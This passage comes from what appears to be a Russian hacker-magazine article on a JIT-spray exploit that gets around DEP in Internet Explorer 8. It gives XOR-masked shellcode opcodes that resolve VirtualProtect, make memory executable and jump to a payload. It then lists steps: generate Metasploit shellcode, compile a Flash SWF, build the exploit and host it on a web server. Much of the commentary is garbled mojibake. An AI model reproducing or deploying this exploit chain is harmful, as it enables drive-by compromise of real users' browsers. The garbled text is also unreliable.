ДЕДИКИ

Делаем память с шеллкодом исполняемой
0x3c90eA75^ // 3575eA903c jnz short NEXT:
0x3c904747^ // 354747903c inc edi, inc edi ; äâà áàéòà
ñäâèã — Unicode æ
… // è òàê äàëåå îñòàëüíûå òðè áóêâû
… // Íàéäÿ ìîäóëü ïî èìåíè è åãî áàçîâûé àäðåñ
… // Ïîëó÷àåì óêàçàòåëè íà òàáëèöû ñ èìåíàìè è àäðåñàìè
ôóíêöèé
0x3cb89090^ // 359090b83c mov eax, 3c ..
0x3c900000^ // 350000903c 3500000
0x3c9063b0^ // 35b063903c mov ah, 'c'
0x3c5074b4^ // 35b474503c mov al, 't' and push –"ct\0\0"
// çàíîñèì â ñòåê ïî 4 áàéòà
"Virt ualP rote ct\0\0"
// çàòåì èùåì â ñïèñêå èìåí äàííîå èìÿ, êàê íàøëè èìÿ,
ñìîòðèì ñ ýòèì æå èíäåêñîì àäðåñ ôóíêöèè, ïîëó÷àåì
…
0x3c5cc483^ // 3583c45c3c add esp, 5c ; Âîçâðàùàåìñÿ ê
àäðåñó øåëëêîäà
0x3c909058^ // 355890903c pop eax ; ïîëó÷àåì ñòàðøèå áàéòû
0x3c08c483^ // 3583c4083c add esp, 08 ;ñäâèãàåìñÿ ê
ìëàäøåìó àäðåñó
0x3cb9905a^ // 355a90b93c pop edx ; ïîëó÷àåì ìëàäøèå
çíà÷åíèÿ
0x3c906060^ // 356060903c
0x3c9060b1^ // 35b160903c
0x3c9060b5^ // 35b560903c çàíîñèì â ðåãèñòð ecx 0x60606060
0x3c90c12b^ // 352bc1903c sub eax, ecx
0x3c90d12b^ // 352bd1903c sub edx, ecx ;ìëàäøèå
âîññòàíîâèëè
0x3c04e0c1^ // 35c1e0043c shl eax, 4 ; òåïåðü ñòàðøèå
0x3c90c203^ // 3503c2903c add eax,edx ; íó è âåñü àäðåñ
0x3c90388b^ // 358b38903c mov edi, [eax] ; ïîëó÷àåì ïî
óêàçàòåëþ àäðåñ øåëëêîäà
0x3c08c783^ // 3583c7083c add edi, 8 ; ñäâèãàåìñÿ íà 8
áàéò
0x3c406a54^ // 35546a403c push esp and push 40 ;
XÀÊÅÐ 05 /136/ 10
ïîäãîòàâëèâàåì ïàðàìåòðû. 0x40 — ðàçðåøèòü íà ÷òåíèå,
çàïèñü è èñïîëíåíèå
0x3c90016a^ // 356a01903c push 01 ; ðàçìåð íå èìååò
çíà÷åíèÿ
0x3cd3ff57^ // 3557ffd33c âûçûâàåì ôóíêöèþ
0x3c90e7ff); // è ôèíàëüíûé ïðûæîê íà îñíîâíîé øåëëêîä,
óæå èñïîëíÿåìûé
}
function Loadzz2(){ var ret1 = funcXOR1();}
В комментариях ищи основной смысл, в опкодах же присутствует
ещё выравнивание NOP’ами и маскирование XOR’ов. Конечно,
данный шеллкод можно вписать в меньшие размеры, но в данном
случае значения это не имеет, главное — не набрать кода больше
чем 0x1000 = 4000 байт. Наш шеллкод имеет размер около 800 байт,
включая NOP’ы, XOR’ы и выравнивания Так что места ещё много. Вот
такая история. На диске ты найдешь примеры других шеллкодов и
пример эксплойта. К сожалению, мы не успели рассмотреть вариант
с точным вычислением адреса JIT шеллкода, тем не менее, и данный
вариант будет работать. На диске есть набор для генерации всего что
понадобится для обхода защиты DEP в IE8, и вдобавок видео, как этим
пользоваться. Вкратце суть следующая:
1. Находим уязвимость.
2. Генерируем в метасплойте шеллкод в формате perl.
3. Сохраняем его, меня модификатор 'my' на 'our'.
3. Генерируем AS файл: perl shellcodegen.pl shellcode_file > jit-spray.as
4. Генерируем SWF файл: as3compiler –X 320 –Y 300 –M Loadzz1 jitspray.as
5. Собираем эксплойт, используя функции из статьи. Так, чтобы после
адреса возврата находился адрес, передаваемый через Flash.
6. Закачиваем HTML и SWF на WEB сервер.
Пожалуй, на этом трилогия про атаки на браузеры через ActiveX
закончена. Надо заметить, что описанный здесь метод применим
не только к IE8, но и к другим браузерам. Аналогичный метод может
использоваться в PDF файлах. z
069